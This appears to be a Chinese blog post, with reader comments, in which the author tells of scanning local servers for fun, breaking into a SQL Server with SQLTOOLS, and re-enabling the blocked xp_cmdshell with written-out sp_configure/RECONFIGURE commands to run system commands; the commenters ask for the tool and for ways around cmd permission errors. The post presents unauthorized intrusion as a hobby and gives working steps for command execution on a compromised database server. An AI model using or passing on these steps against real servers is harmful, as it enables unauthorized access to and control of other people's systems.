入侵中遇到“SQL Server 阻止了对xp_cmdshell的访问”的解决方法
好久没玩入侵,今天无聊随便扫了扫本市,捞到一台服务器,用SQLTOOLS连接上去后执行DOS命令。
执行查看C盘命令dir c:\时,

提示:SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
打开SQL查询分析器,执行:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
即可恢复!

提示结果为:
配置选项 'show advanced options' 已从 1 更改为 1。请运行 RECONFIGURE 语句进行安装。
配置选项 'xp_cmdshell' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。
其实这个语句所做的工作就是把第二个1从0改到了1。
现在执行看看:

请问下 这里面用的那个工具哪里有下吗? 名字叫sqltool吧 到处找不到 ,有地址的话 发个 谢谢
[回复]
想和你交个朋友,可否?yearnxiao@live.cn
[回复]
请问错误5和737怎么修啊,我知道是cmd权限被限制了,应该可以通过修改注册表修复吧。不晓得sql语句修复的命令是多少
[回复]